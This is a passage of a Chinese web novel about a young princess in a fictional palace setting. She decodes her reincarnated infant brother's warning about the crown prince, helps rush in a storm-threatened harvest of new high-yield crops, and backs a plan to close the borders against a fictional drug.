秦芷嫣抱着儿子贴贴,眼底却是划不开的愁绪:“辉泽,留在母妃身边不好吗?你长姐自己都还是个孩子,哪有闲工夫照顾你呀!” 司徒辉泽差点翻个白眼给她看了。 你可拉倒吧,先照顾好你自己在说。 至于我,您就甭担心了! 徐嬷嬷这时收了伞进来:“王妃,好大的雨啊,外面很凉快,很舒服呢!” 秦芷嫣柔柔一笑:“是啊,气温降下来了,百姓们也不用受苦了。” 唐蕊不知想到了什么,捂着小嘴噗嗤一声笑出声来。 秦芷嫣眉梢一扬:“蕊蕊在笑什么?” “我就是想起太子叔叔那些冰块,是不是赔得裤衩都不剩了?哈哈哈…”不行,只想想到太子那张黑如锅底的脸,她就忍不住乐。 秦芷嫣也笑出声来:“你呀…” 徐嬷嬷乐呵呵道:“可不是嘛,老奴刚刚出门还听人说,关了的聚贤阁又开门了,正在卖冰块呢!一文钱两块都没人去买,想来那些应该就是太子的冰块。” 此言一出,母女俩笑得停不下来。 就连小辉泽也咧着嘴傻笑。 看到前世的仇人过得不好,他就放心了。 还得是姐姐,提前给出了制冰的法子,没让太子占到便宜! 前世他给皇帝制冰法子的时候,都两岁多了,那个时候太子都赚了两年的银子了。 而这些银子,全被太子拿去豢养私军去了。 对了! 私军! “啊哦…啊哦…”小辉泽吃力的转动脑瓜瞅着唐蕊,努力挥舞着小拳头不停比画。 秦芷嫣抱着他一顿哄:“这是怎么了?” “啊…啊呀…”小辉泽朝唐蕊伸出手,越来越着急。 最后嘴巴一瘪,哇的一声哭了。 “辉泽乖,不哭不哭,母妃在呢…”秦芷嫣有点方了。 奶娘赶紧凑了过来,接过孩子。 没卵用,小辉泽一直哭,胖乎乎的小胳膊努力朝唐蕊伸着。 “是不是困啦!”唐蕊眉眼一动,起身朝奶娘张开手:“给我抱抱!” 第201章 金阳城 “是!”奶娘小心翼翼把孩子递给她。 到了唐蕊怀里,小辉泽一秒止住哭声,还惬意的打了个呵欠! 秦芷嫣也是醉了:“这皮猴,就跟你亲,连我这个亲娘的面子都不给!” 还好她是个通情达理的,换成别的娘,还不得醋死啊! “母妃,弟弟小,不懂事而已,等他大些就好了。”唐蕊瞅了一眼冲她挤眉弄眼的辉泽,又道:“母妃,弟弟想睡觉,那我就先带他回去啦。” 秦芷嫣叹息一声挥挥手:“去吧去吧,让给徐嬷嬷送你们,别淋到雨感冒了。” “好哦,麻烦徐嬷嬷啦!”唐蕊很是嘴甜。 … 抱着小辉泽回到翠微阁后,小辉泽立刻睁开了眼睛,冲她咧嘴一笑。 那乌黑的眸子湿漉漉的,看得人心都化了。 唐蕊屏退左右,抱着他进了内室:“说吧,怎么啦?” “啊…啊咿…”小辉泽吃力的抬起肉乎乎的胳膊指着书桌。 “难不成你还想写字给我看哦?”唐蕊抱着他来到书桌边。 “咿呀…”小辉泽挣扎着趴在书桌上,小手吃力的抬起,啪的一声拍在砚台里。 得! 白乎乎的小手,立刻变得黑漆漆的。 若是别人,早就把他抱走洗香香了。 可唐蕊却赶紧扯过纸,放在他触手可及的位置。 这么大的孩子都还不会翻身,每一个动作对他来说,都要用尽全身力气。 小辉泽这样,肯定是有什么重要的事要告诉她。 小辉泽挥动着小手,把手掌当笔,努力在纸上划拉。 不过一会儿,他就累得气喘吁吁,如死鱼一样趴在桌上。 他很努力了,可是这具身体太小太小,连好好写一个字都做不到! 也不知道唐蕊能不能看懂他想表达的意思。 唐蕊见他这样,知道他尽力了,抱起他轻声哄着,眼睛却盯着那张纸。 …就,鬼画符? 不对! 忽略旁边那些鬼画符,中间好像是一个人还是八字? 唐蕊试探性开口:“八字?” 小辉泽睁着乌溜溜的眼睛,没反应。 唐蕊又道:“人字?” 小辉泽闻言赶紧眨了两下眼睛。 “…”不是人,跟人有关? 唐蕊不确定道:“不会是…你想写的这个字,有人字部分吧?” 小辉泽赶紧眨了一下眼睛! “有人字旁的字太多了!”唐蕊小声嘀咕。 “啊哦…啊啊…”小辉泽抬起小手,啪一声拍自己脸上。 他才刚刚碰了一手墨,这一拍,脸上都留下了黑乎乎的墨渍。 放在平时,唐蕊肯定会毫不留情嘲笑他。 可现在她笑不出来,知道小辉泽是想告诉她什么重要的事,于是努力揣测小辉泽的意思。 人字…脸? 不不,不是脸! 跟脸有关的偏旁? 唐蕊试探性问道:“人字头?” “咿呀…”小辉泽眼睛一亮,还眨了一下。 范围缩小,唐蕊赶紧铺上一张干净的纸,一手抱着孩子,一手拿着笔,挨个写下所有熟知的有人字头的字。 为了让小辉泽轻松一点,她故意把每个字都写得很大,一张纸只有五六个字。 最后,她把这些写了字的纸都铺开,又让小辉泽辨认。 “阿呀…阿呀哟…哟…”小辉泽挥舞着小拳头,双眼晶亮的盯着其中一张纸。 唐蕊顺着他的视线看过去,牢牢锁定在金字上,并且还念出来向小辉泽确认。 见小辉泽眨了一下眼睛后,她才确定下来。 随即,又开始犯难:“金?你想说的是人名…地名?” 小辉泽听到想听的,又赶紧眨了一下眼睛。 “地名?”唐蕊再次确认。 小辉泽眨了一下眼睛! 没错没错,就是地名! 唐蕊抱着他坐下来,地名的话,范围就小很多了。 唐蕊挨个念着大夏所有城池带了金字的地名,最后终于确认,小辉泽想告诉她的地名是:“金阳城!” 金阳城! 她好像听司徒澈说过,这是司徒霄还是王爷的时候,皇帝赐给司徒霄的封地。 所以… “金阳城有问题,还跟太子有关?” 唐蕊终于猜到了重点,小辉泽激动得不停眨眼! 没错没错,就是这样! 快告诉爹爹,让他派人去查,使劲查! “我这就去告诉爹爹!你呢,就在家好好休息,知道吗?” 能让小辉泽费劲儿的不停暗示,金阳城的猫腻肯定还不小。 小辉泽咿呀一声,放松下来。 这一放松,小辉泽就感觉到了困。 唐蕊叫来奶娘,还留下容嬷嬷照顾辉泽,又把明月叫出来,问他司徒澈的行踪。 明月歪着头想了想才道:“这个时候下朝了,王爷应该在黑鳞骑军营。” 唐蕊:“你带我去!” 明月看了看外面的大雨,一脸无辜:“郡主,这个时候出去会淋到雨的。而且,军营重地,你去不合适。” “我就要去,你带不带我去?不带我自己去!”唐蕊哼唧一声,拿了把伞就往外走。 “去,属下带你去!”明月无奈,只能叫住她,让大格和二格驾车过来,提起唐蕊塞进马车。 外面雨很大,还越下越大。 唐蕊看着乌压压的天,眉头微蹙。 夏天的雨很大,却很短暂。 这雨,都下了半天了,怎么还没停? … 一个时辰后,马车在黑鳞骑军营前停了下来。 大雨依旧,明月让唐蕊稍作等待,下车跟守着军营的两个兵说了些什么,然后才回到马车。 马车重新启动,畅通无阻驶入军营。 片刻后,在一个帐篷前停了下来。 明月把唐蕊抱下马车:“王爷就在里面!” 唐蕊二话不说冲了进去,然后…尴尬了… 里面不仅有司徒澈,还有好些个将军将士正围在一个军事沙盘前。 唐蕊一进来,N双眼睛顿时齐刷刷落在她身上。 “蕊…”司徒澈很是诧异,差点当着众人喊了她的闺名。 司徒澈轻咳几声,故作严肃:“昭华,怎么跑这儿来了?” “嘿嘿…爹爹,我有很重要的事要告诉你哦!阔不阔以给我一丢丢时间?”唐蕊笑得可可爱爱,心里也有点尴尬。 还好,黑鳞骑等于是司徒澈的地盘,手底下这些将帅服司徒澈,自然也会给唐蕊面子。 第202章 逍遥丸流入东临了? 当即有人笑道:“王爷,昭华郡主来找您,肯定是有很重要的事儿,咱们一会儿再说就是。” “是啊,这样的天气,要不是急事,也不会巴巴的跑来了,您可千万不要怪她。” “就是就是!” … 司徒澈没好气的瞥了他们一眼,挥了挥手。 将帅们笑了笑,自觉离开,路过唐蕊时还会给她一个亲切和蔼的微笑。 “哇哦爹爹,你穿盔甲好帅哦!” “你手底下的兵也很服你哇!” “爹爹果然好厉害!” 唐蕊笑眯眯的走了过去,小嘴还不停叭叭。 司徒澈却根本不吃这套,赏了她一个暴栗,虎着脸道:“胡闹,军营重地,岂是你能来的地方?明月,给本王滚进来!” 外面的明月装死ing,心里不停默念:我听不到听不到听不到… “哎呀爹爹,我真的有急事哦,你不要怪明月嘛,我用自杀威胁他,他不也把我没办法!” 唐蕊赶紧顺毛,扯着司徒澈来到主位坐下,呼哧呼哧给他捶肩膀。 司徒澈本来就没生气,唐蕊这么一搞,他更不好发作了,不过嘴上还是:“哼!你越来越无法无天了!” “是是是,这也是爹爹您宠的不是?我无法无天,我骄傲哇!” “…”就问这怎么生得起气来嘛! 司徒澈努力按捺着想上扬的嘴角:“说吧,又有什么事?” 唐蕊闻言脸色一本正经起来:“爹爹,我做了个梦,梦到金阳城上空有黑气盘旋,你能不能暗中派人去金阳城好好查查?” 司徒澈一言难尽的看着她,没好气道:“你还真当自己是天上下凡来历劫的仙女了?” “爹爹,你相信我,我的感觉很不好,真的!你就听我的吧!”唐蕊也不能告诉他,小辉泽是穿越+重生者,只能耍无奈了。 还好,司徒澈有点朝宠女狂魔靠拢了,被她缠得没办法,只能如实道:“金阳城曾是太子的封地,就算现在不是,太子还是王爷的时候,也占了那么多年,本王的人想混进去打听点什么,不是那么容易的事。” 强龙压不过地头蛇! 鬼晓得太子留下了什么! 而且,最近他感觉太子有些不一样了。 好像…没有想象的那么蠢! 就算有小辫子,也不会那么轻易被他抓住的。 “爹爹,既然跟太子有关,那就更应该查啊!不然错过了什么,还不是咱们吃亏,你说是不是?” 唐蕊动之以情晓之以理,司徒澈一想也是这个理,沉吟片刻还是把清风喊了来:“你派几个得力的死士去金阳城暗访,看看太子在那里搞什么名堂。” “是!”清风瞄了唐蕊一眼,赶紧去办了。 事情解决了,唐蕊也不献殷勤了,跟司徒澈see godbye。 “…”真是用完就扔,那什么…渣女一样。 司徒澈起身,拎起她放在主位上:“这么大的雨,往哪儿跑呢?自己玩一会儿,等本王忙完一起回府!” “哦…”玩就玩嘛! 唐蕊还没参观过古代的军营呢,也挺稀奇的:“那爹爹,我出去玩,玩累了我让明月带我去你帐篷里休息哈!” 扔下这话,唐蕊一溜烟跑了,还顺便瞅了瞅军事沙盘,眼底划过一丝幽光。 “…”这丫头! 司徒澈笑骂了一句,把将帅们叫回来继续开会! … 虽然在电视上看过军营,但依旧不如亲眼所见来得震撼。 哪怕这么大的雨,练武场上还有将士在对打。 其他士兵围成一圈看热闹,吆喝声不断。 唐蕊的出现,成了一道亮丽的风景线。 明月在她身后撑着伞,唐蕊往左他也往左,唐蕊往右他也往右。 汉子们:“…”这是哪里来的小姑娘? “先锋大人,这是…”有人问明月。 明月面无表情吐出四个字:“昭华郡主!” 哟嚯! 昭华郡主? 汉子们惊了惊,下一刻齐刷刷跪了一地。 唐蕊:“不要跪不要跪,哎呀,你们这样,我都不好意思逛了!” 见她这么好说话,汉子们哈哈一笑,站起身来。 这就是有个好爹的待遇! 他们服司徒澈,所以对于唐蕊,也愿意给予最大的尊重。 换成别人,他们可不会买账! 还好,唐蕊也不是装怪的人,当即有汉子自告奋勇:“郡主想逛,属下带你逛啊!” “我死的?”明月斜睨了那人一眼:“该干嘛干嘛去,别抢我的活!” 比起伺候司徒澈,伺候唐蕊可别太轻松了,还好玩,谁都别想抢! 那汉子:“…” “你们忙你们的,我就随便逛逛,明月陪着我就好啦!”唐蕊可不想耽误他们的事,拉着明月就走。 身后传来汉子们的哄笑声:“张三,你个狗腿子,终于碰壁了吧?” “去你娘的,老子这叫狗腿吗?有本事上来比划比划,让你尝尝老子的腿到底是旋风腿还是狗腿!” “来就来!” “你走开,我先来!” … 唐蕊听着声音回头看去,漫天雨幕之下,汉子们的汗水混合雨水,每个人脸上都带着笑。 真好! 这一条条生命如此鲜活又真实。 只不过,想到刚刚看到的那个军事沙盘… 她就高兴不起来了,扬起小脸认真的问明月:“爹爹是不是准备攻打北狄?” 明月神色一肃,做贼似的左右看了看,然后抱起她一溜烟跑进一个空置的帐篷里,这才放下她:“郡主,此事只有那些将军知道,不宜宣扬!” “哦!”唐蕊闷闷的:“爹爹是为了娘亲吗?” “不仅是为了皇太女!” 明月摇摇头,继续道:“北狄狼子野心,王爷刚回来那几年还好,这半年来,又开始骚扰边城,驻守边城的陈将军来信说,已经拦下了很多冒充商人的异国人,他们想把逍遥丸流入大夏。只是不知,这些异国人是北狄人还是东临人。” 唐蕊闻言一愣:“东临?这是什么意思?逍遥丸流入东临了?” 明月严肃脸点了点头:“是,东临都城还好,越靠近边城的位置,越是惨不忍睹。我们也是因为提前知道逍遥丸这个东西,有所防范,不然下场只会与东临一样!” 第203章 抢收 唐蕊紧抿小嘴,脸色发白! 她知道逍遥丸这种东西的危害,可没想到传播如此之快! 怎么办? 历史上饱受鸦片侵蚀的晚清历历在目,那一行行触目惊心的字都是用先辈们的血泪堆积而成的。 难道,这个世界也要变成那样吗? 当初应该极力阻止唐娆的,就算是国仇家恨,也不能用这样的东西… 可她…哪里劝得住啊! 唐娆是那么有主见的一个人,根本就不会听她的! 如果这个世界变成毒窟,那唐娆就是千古罪人啊! 唐蕊心里很不好受,这种明知结果,却无力阻止的感觉,真的太糟糕了。 … 直到天黑,司徒澈才忙完,带着唐蕊一起回府。 马车里,唐蕊闷闷不乐,还在想着逍遥丸的事。 她想找到解决的方法,可不管怎么绞尽脑汁,目前好像也只有一个不是办法的办法了。 司徒澈揉了揉她的脑瓜子:“怎么了?是不是谁惹你不开心了?” 唐蕊摇摇头,似乎下定了决心,看着司徒澈道:“父王,让皇爷爷闭关锁国吧!” 平时她都是喊爹爹,这还是第一次喊父王。 司徒澈看出了她的认真,眉头微蹙:“闭关锁国?你知道我们大夏每年要从北狄买多少牛羊马匹吗?又知道大夏每年要从东临买多少粮种吗?要是闭关锁国,先不说会激发民怨,那些商贾第一个不答应!” 南蛮覆灭后,只有大夏、东临、北狄三个大国。 东临是农产大国,小麦、水稻的主要生产地。 北狄牛马健硕,三国牲畜几乎都是来自北狄。 大夏地势复杂,什么都有,但种植小麦水稻的是少数。 最主要的,还是围绕蔬菜瓜果,茶叶布匹。 一旦闭关锁国,会是什么后果? 唐蕊据理力争:“我知道,粮食不用担心,我有新粮种,产量是水稻的五六倍,只要普及,百姓们不会饿死,牛羊马匹我们也不是不能养,但是逍遥丸,我们防不胜防,闭关锁国是最好的法子。” 司徒澈眼睛一亮:“产量是水稻的五六倍?你确定?” “对!”唐蕊干脆坐到他身边,继续说道:“父王,我已经让人种植成功了,回去后就可以拿给你看。百姓只要愿意种,绝不会饿肚子,我们不愁吃的,不愁穿的,只有逍遥丸,绝对不能流入大夏!” 什么工业科技时代远得很! 就算有需求,她也可以出点主意。 再不济,还有司徒辉泽呢! 她就不信了,两个现代大学生,还能让大夏技术落后了。 现在最要紧的,是防逍遥丸啊! “这事太大,我一个人说了不算,回去后我会跟父皇请示,群臣商量之后才有结果!” 司徒澈也不想让逍遥丸流入大夏。 哪怕现在他人在京城,可却时刻关注着边城的一举一动,他的压力也很大。 司徒澈倒是想劝唐娆放弃,可现在的情况,已经不是唐娆放不放弃的问题了。 逍遥丸来势汹汹,早已不可控! 就算唐娆现在停手,也来不及了。 “放心吧,只要爹爹在,大夏就不会有事,你娘也不会!”司徒澈没告诉唐蕊,等忙完手头上的事,他要亲自去一趟北狄。 他要去找唐娆,带她离开! 要是唐娆不愿意,就把人敲晕带走。 不然闹大了,唐娆就算复了国,也会成为人人喊打的妖女! … 回到府中,唐蕊立刻把土豆、红薯和玉米拿给了司徒澈。 司徒澈又宽慰了几句,这才离开。 大雨倾盆,丝毫没有停歇。 屋内,唐蕊抱着熟睡的小辉泽,望着窗外那如注的雨水,心里被不安充斥着。 这场雨,太不寻常了些。 不会一直下吧? “郡主!”幻蝶匆匆而来:“邓掌柜派人来说,雨势太大,庄子上人手不够,收割根本就来不及…” “那就加派人手!”唐蕊心下一紧,立刻打断她的话:“让大格和二格带着府里成年家丁都去,还不够就去辰王府、睿王府、襄王府借人,不管如何,必须给本郡主保住那些粮食!” “是,奴婢这就去!”幻蝶点点头,快步离开! 唐蕊也睡不着了,把小辉泽放回床上,想去庄子上。 可容嬷嬷却拦住了她,说什么都不准。 开什么玩笑,这么大的雨,山路又不好走。 万一出个好歹,谁担得起? 唐蕊拗不过她,却又睡不着,急得在屋里来回踱步。 外面雷声阵阵,雨…好像又大了些… 雨滴如注般砸在窗户上,噼里啪啦的声响不绝于耳。 唐蕊每走一步,心里就越发烦躁,她时不时望向窗外那黑漆漆的世界,担忧之情溢于言表。 闪电划破夜空,瞬间照亮了屋内,可转瞬又陷入黑暗之中。 几个王爷很靠谱! 幻蝶派人过去借人的时候,他们一听是唐蕊的请求,立刻派人支援。 司徒澈得知这事后,生怕人手不够,干脆带上黑鳞骑去帮忙。 十人不够就一百人,一百人不够就一千人,一千人不够就一万人! 这一晚,注定不平静,无数人踩着泥泞,朝唐蕊的庄子而去,帮着邓家人一起抢收那些粮食。 他们忙了一晚上,唐蕊也一宿没睡! 直到日上三竿,幻蝶才快步而来:“郡主,抢收完了,红薯收成三万多斤,玉米六千余斤,土豆最多,五万余斤!” “好…”唐蕊紧绷一晚上的弦这才断了,如烂泥一般瘫坐在椅子上。 那庄子本来占地就大,上次去看,邓家人把庄子外面的地都种上了,一眼望去无边无际的。 粗粗算来将近二十亩地,这数量也差不多,就算有损失也不大。 司徒澈随之而来,满身泥泞,却一脸喜色:“蕊蕊,你这次可立大功了!” 唐蕊看到他愣了愣:“爹爹,昨晚你也去庄子上啦?” 司徒澈点点头,笑道:“本王听说缺人手,就带黑鳞骑去帮忙了,反正他们闲着也是闲着。” 哪怕唐蕊说了,量产很可观,都不如亲眼所见来得震撼! 这什么土豆玉米的东西,可比水稻麦子产量高太多了。 第204章 出自南蛮的疯女人 唐蕊拉着他坐下:“爹爹,你歇歇,忙了一整晚,很累吧?” “不累,马上要上朝了,本王回去换身衣服,回来再慢慢跟你说!”司徒澈匆匆而来,匆匆而去。 “爹爹辛苦啦,当心身体哦。”唐蕊追出门口大声道。 司徒澈背对着她挥了挥手,身影很快消失在雨幕中。 “这么多粮食,以后百姓再也不会饿肚子了。”幻蝶也很高兴。 容嬷嬷赶紧道:“郡主,躺会儿吧,您一晚上没睡。” “嗯呐!”唐蕊也感觉到了疲惫,不由自主打了个呵欠:“对了嗷,燕儿呢?有派人去接吗?” 幻蝶赶紧道:“派了,奴婢让人把她送去了漱玉楼,除了她还有青青和花朵,邓大妞也被邓掌柜接到了漱玉楼。” 唐蕊点点头:“告诉她们,安心待着,漱玉楼是接待女客的地方,邓掌柜到底是男子,多有不便,雨没停之前让她们帮忙招待一下女客,月给照发。等雨停了,本郡主就去教她们。” 幻蝶笑道:“奴婢已经告诉过她们了,邓掌柜也在漱玉楼腾了个房间让她们安心住下,郡主放心吧!” “那就好!”唐蕊困死了,往床上一趟,抱着奶团子,很快进入睡眠模式。 容嬷嬷抿唇一笑,给她和奶团子盖好被子。 … 有了产量如此之高的种子,司徒澈也没了顾及。 不过他没有一开始就在朝堂上说闭关锁国的事,而是等下朝后,与皇帝独处时,提出了这个意见。 皇帝没好气的瞪着他:“脑子进水了?闭关锁国,你知不知道这么做的后果?” “…”我怎么就不知道了? 司徒澈无奈道:“逍遥丸已经流入东临,边城的陈将军这些日子几乎每隔半个月都会飞鸽传书求助。北狄人还好,身形高大,容易辨认,东临人与大夏人身形差不多,稍不注意就会混进来。父皇,陈将军每天都会缴获百余颗逍遥丸,这些毒丸子,只要有一颗流入大夏,对百姓造成的伤害都是致命的。” 皇帝眉头微蹙:“这么多?” “这还是半月前陈将军说的数量,这些日子应该更多了。” 司徒澈深吸一口气,站起身来,很是认真道:“望父皇怜悯苍生,闭关锁国!” 皇帝心里烦躁,来回走了几步,还是不敢下决定:“闭关锁国百姓定会不安,轻则民怨沸腾,重则动摇江山,这样的代价太大了。” 最严重的,一个闹不好,逼急了某些人,他们肯定会造反。 到时候他还得浪费兵力去镇压! 打仗,可是最烧银子的。 他那好不容易肥起来的国库,经过上次赈灾,缩水不少,实在经不起折腾了。 “来人,呈上来!”司徒澈拍了拍手。 清风应声而入,手里捧着一个托盘。 皇帝眉梢一扬:“这是什么?” 司徒澈笑道:“父皇,这是昭华寻到的新种,这是土豆,这是玉米,这是红薯,都是能食用之物,它们的产量是水稻的三到六倍。” 皇帝眼睛一亮,屁颠屁颠从高位上走了下来,近距离打量着托盘上三样东西:“此言当真?” “千真万确,昨晚昭华的庄子上抢收,儿臣带着黑鳞骑去了,亲眼所见!” “好!好!” 皇帝龙颜大悦:“有了这三样东西,闭关锁国也不是不能行。” “儿臣也是这么想的!”司徒澈说完还不夸一下自个儿女儿:“多亏昭华细心,能发现这样的好东西。” 皇帝闻言没好气的白了他一眼:“可惜有一对不靠谱的父母,还要女儿收拾烂摊子。” 司徒澈神色一僵,故作不懂:“父皇这话从何说起?儿臣听不懂。” “听不懂?”皇帝呵呵了:“这逍遥丸难道不是昭华生母搞出来的东西?” 司徒澈:“!!”这…你还真去查了? 似乎猜到儿子想说的话,皇帝冷笑道:“不然呢?身为大夏一品郡主,朕难道会不查清她的身世来历?合着朕在你眼里就是个脑子不清楚的?” 封唐蕊为郡主后,他就派出龙隐卫去查了。 只是前不久,龙隐卫才调查完毕,告诉他结果。 不查不知道,一查吓一跳。 逍遥丸这玩意,竟然是南蛮皇室后裔搞出来的东西。 不愧是出自南蛮的疯女人,真是够狠的。 “儿臣不敢!”司徒澈垂眸,沉吟良久,还是开口为唐娆找补:“她…也不是滥杀无辜之辈,只是被仇恨冲昏了头…” “冲昏了头也不该全然不顾后果!” 皇帝抬手打断了他的话,对唐娆一点好感都没有:“你可知,要是被世人知道,昭华有个这样的娘亲,那她就不是福星,而是人人喊打的灾星,不管做再多,都会被定义为妖女的女儿!到时候昭华要承受什么?为人父母者,怎么也得顾及自己的子女吧?这样的疯女人,就算复了国又如何?能爱民如子吗?能得天下人信服吗?” “父皇教训得是…”司徒澈抿了抿唇,拱手道:“儿臣会解决这事,天下人也不会知道。” 皇帝气乐了:“怎么?你还想让她躲进你后宅?跟她一起背负骂名,遗臭万年?” 司徒澈无奈道:“父皇,阿娆不会入儿臣后宅的…” “这可是你说的!”终于听到这句话了,皇帝赶紧道:“你发誓!” “…”怎么年纪越大越像个孩子了? 司徒澈一言难尽,还是按照皇帝心意,草草发了个誓:“儿臣发誓,阿娆不会入儿臣后宅,行了吧?” 虽然和唐娆一共就只见了两面,但他看得出来,唐娆是一个心高气傲的女人,绝不会屈居人之下。 别说他后院有那么多女人,就算是没有,唐娆也不会选择他。 除非,他放弃身份,放弃一切,嫁过去还不多。 但这怎么可能。 唐娆有唐娆的骄傲和责任,他也是。 “这还差不多!”皇帝终于放心了,他可不想要这么个疯批女人做儿媳,太可怕了。 最重要的是,司徒澈一看就是对那疯批女人上了心。 听听这一声声阿娆阿娆的…秦芷嫣跟他成亲那么久,咋就没听他甜蜜蜜的喊一声阿嫣? 要是让唐娆这疯批女人成了大夏皇后,还得了? 没门儿,窗户都没有! 司徒澈轻咳一声,赶紧岔开话题:“父皇,那闭关锁国的事…” 第205章 有民间高手内味了 “明日早朝就说这事,对了…” 皇帝说到这,又指了指托盘上的东西:“把这三样东西带上,多带点,煮熟了。” 司徒澈懂了,拱手垂眸:“儿臣遵旨!” … 司徒澈回到府中,便一头扎进了翠微阁,向唐蕊询问烹饪这三种食物的方法。 皇帝的意思很明显了,明天要让文武百官试吃,堵他们的嘴。 一听说吃的,唐蕊双眼放光,小嘴不停叭叭,小手还不停比画:“爹爹爹爹,可多了,玉米可以直接煮,或是直接烤,就这么直接啃。玉米粒还可以掰下来,用油炒着吃,还能把玉米粒掰下来,碾压成玉米糊糊,烙玉米饼,都可以哦。红薯就不一样了,要么烤,要么蒸,这两种方法做出来的最好吃。土豆就多了,爹爹我跟你说,什么炸土豆蒸土豆炒土豆都可以哦,还有土豆丝,土豆片,干煸土豆,呲溜…哎呀,我都流口水啦…” 司徒澈被她说得都有点馋了:“那今晚就吃这三样东西?” “好哦好哦。”唐蕊擦掉口水,拉着司徒澈坐下:“爹爹你坐一会儿,容嬷嬷,去把母妃和庶母们都请过来陪爹爹玩一会儿,幻蝶,我们去膳房,教老王叔怎么做。” “是!”容嬷嬷和幻蝶立刻行动。 司徒澈默默收回自己的尔康手:“…” 又不是小孩子,陪玩可以不用的。 但,这段时间他确实很忙,没什么时间陪府里的女人们。 上次朱侧妃小闹了一番,他可不希望所有女人都来闹。 算了,就一起吃顿饭吧… 唐蕊来到膳房时,老王正在准备明天要拿去点心铺卖的糕点。 听完唐蕊的来意,当即放下手里的事,招呼徒弟们全部行动起来。 一时间,膳房非常热闹。 唐蕊依旧踩着自己的小板凳,口述操作方法,并监督他们。 不得不说,配合久了,就是有默契哈。 教过老王那么多次,现在唐蕊哪怕夹带一些现代词语,老王都能心领神会。 时间一点点过去,一盘盘新菜也成功出炉。 唐蕊早就端着一盘酸辣土豆丝开始炫了。 想起明天的试吃,还不忘跟老王说一句:“王叔辛苦啦,明天你可能还要跟爹爹进宫一趟,教教御膳房的师傅们。” 老王一听这话,手一抖,锅铲都掉地上了。 唐蕊眨了眨眼:“肿么了?” 王叔搓着手,受宠若惊的同时也很忐忑啊:“不、不是,郡主,小的去教御膳房的人?这…这不太好吧?小的就是王府的主厨,御膳房的人可都是大师傅,每个人的手艺都比小的好啊!这…不合适,不合适…” 唐蕊没好气道:“有啥不合适的,你不去教,难道还要我去教啊?这么大的雨,你就不怕我着凉哦?” “那肯定不行!”老王一个嘴快,可想起自己要去教,又有点怯场了:“可小的…也不配呀,那些大人可都是御厨啊…” “御厨咋了?王叔,你的手艺不比御厨差的,自信一点,不要怕,你可是我们璃王府的大主厨,代表的是我们璃王府知道不?抬头,挺胸,没错没错,就是这样…” “…”也不知道是不是心理作用,被唐蕊这小嘴一叭叭,老王顿时觉得自己其实特牛逼。 昂首挺胸,看人都是用眼角。 唐蕊点头,竖起大拇指:“对,有民间高手内味了,棒!” “嘿嘿嘿…”老王摸着后脑勺傻乐,心里的胆怯也消了很多:“郡主这么看得起小的,小的明天一定好好表现,不给郡主丢人,不给咱们璃王府丢人!” 唐蕊笑眯眯道:“我看好你!” “放心吧郡主,交给小的,绝对没问题!”信心十足的老王捡起锅铲仔细冲洗,回到灶台继续忙碌,全程昂首挺胸,吆喝徒弟的时候都中气十足! … 一番忙碌后,玉米红薯和土豆各种烹饪成果送进了翠微阁。 卖相比不上那些用高等食材做出来的东西,但香味却一点都不差。 正扯着司徒澈衣袖撒娇的朱侧妃眼睛一亮,当即抛下司徒澈跑到桌前,速度快得都出残影了。 “哇哇哇,好香好香好香!”朱侧妃搓着小胖手,哈喇子都快流下来了:“蕊蕊,这就是那些新菜!” “对呀,朱庶母,今天你有口福啦!爹爹,你们快过来呀!”唐蕊朝他们招了招手。 幻蝶和容嬷嬷也让下人摆好碗筷。 朱侧妃虽然好吃,但也有规矩,等司徒澈上了桌,夹了菜后,才迫不及待动筷子。 “好吃!”一口烤红薯下肚后,朱侧妃眼睛亮得惊人,再也不开口,埋头苦干。 “确实不错!”秦芷嫣尝了干煸土豆丝,也很喜欢这个味:“外酥里嫩,就是味儿太重了些,倒适合下酒。” 顾若雪尝了一口玉米糊糊,唇角带笑:“王妃姐姐,这个也很好喝,我给你盛一碗。” 李庶吃东西都还不忘赚钱:“朱姐姐,这些可以放火锅店里呀,特别是这干煸土豆丝,配些烈点的酒,肯定很受欢迎。” “嗯嗯嗯,我几道!”朱侧妃嘴里塞着东西,含糊不清道。 “我还是喜欢醋溜土豆片,好吃!烤红薯也好吃,甜的!”张庶妃说罢,还不忘又拿一个烤红薯。 “不错,味道都挺好!”司徒澈不敢多吃,这些天只要轮到朱侧妃,都会给他准备各种大补食物。 他没有神医给朱侧妃的‘神器’,可不想变成胖子! 倒不是注重外表,而是变胖了,影响他这武夫发挥! 一顿饭下来,大家都很满意。 他们都喜欢,百姓们肯定也会喜欢。 唐蕊又舀了一碗玉米糊糊:“爹爹,我给老王叔说了,明天你带他进宫吧,他去教那些御厨。” 司徒澈笑道:“你不跟爹爹进宫玩吗?今日出宫的时候,爹爹还遇到了元嬷嬷,她很想你。” 秦芷嫣一听这话,秀眉微蹙,放下碗道:“爷,蕊蕊就不去了吧!母妃她…妾身实在害怕…” 皇后三番四次陷害,秦芷嫣是真的怕了她了。 她现在都是能不进宫就不进,更不想唐蕊和小辉泽进。 司徒澈叹息一声,点了点头:“也罢…” “怕啥?”唐蕊打了个饱嗝,摸着小肚皮… 第206章 居然把免死金牌挂腰上 “怕啥?”唐蕊打了个饱嗝,摸着小肚皮懒懒道:“我和辉泽不能一辈子不进宫,与其坐以待毙,不如引蛇出洞。我身边有明月,有赤赤,辉泽身边有隐主,我倒是巴不得她撞上来呢!” “可你上次…”秦芷嫣抿了抿唇,一脸心有余悸:“蕊蕊,母妃再也不想看到你那个样子了。” “母妃,那是我没有防备!”唐蕊耐心劝道:“我要是有防备了,别人很难伤到我的。依我看,这皇宫不但要去,还要多去!” 再说了,芙蓉殇估计是姜妃能拿出来的最厉害的毒药了。 下一次姜妃想要对付她,肯定不会用毒。 唐蕊不想留这么个敌人在暗处,随时随地等着被咬一口。 还是早点斩草除根的好! 至于皇帝会不会生气…那就让皇帝自己杀去。 她倒要看看,皇帝对姜妃能容忍到什么程度! “蕊蕊说得对!”司徒澈勾唇一笑,和唐蕊的想法一样。 只有千日做贼的,哪有千日防贼的:“这么大的雨,国学监也停了学,蕊蕊反正无事,就跟本王一起去宫里玩吧!” “好咧!”唐蕊举双手赞成:“到时候父皇去上朝,我去看望亲爱的皇奶奶!” 父女俩相视一笑,蔫坏蔫坏的,就像一大一小两只狐狸。 一桌子女人们:“…” … 翌日一早,唐蕊就换上宫装,跟着司徒澈去宫里了。 当然,还带上了老王、幻蝶,以及红薯、土豆和玉米这三种食材。 司徒澈虽然很放心唐蕊,但为求稳妥,私下还是找了隐主,让他暂时保护唐蕊,明月就留在了小辉泽身边保护。 不过这事唐蕊不知道罢了! 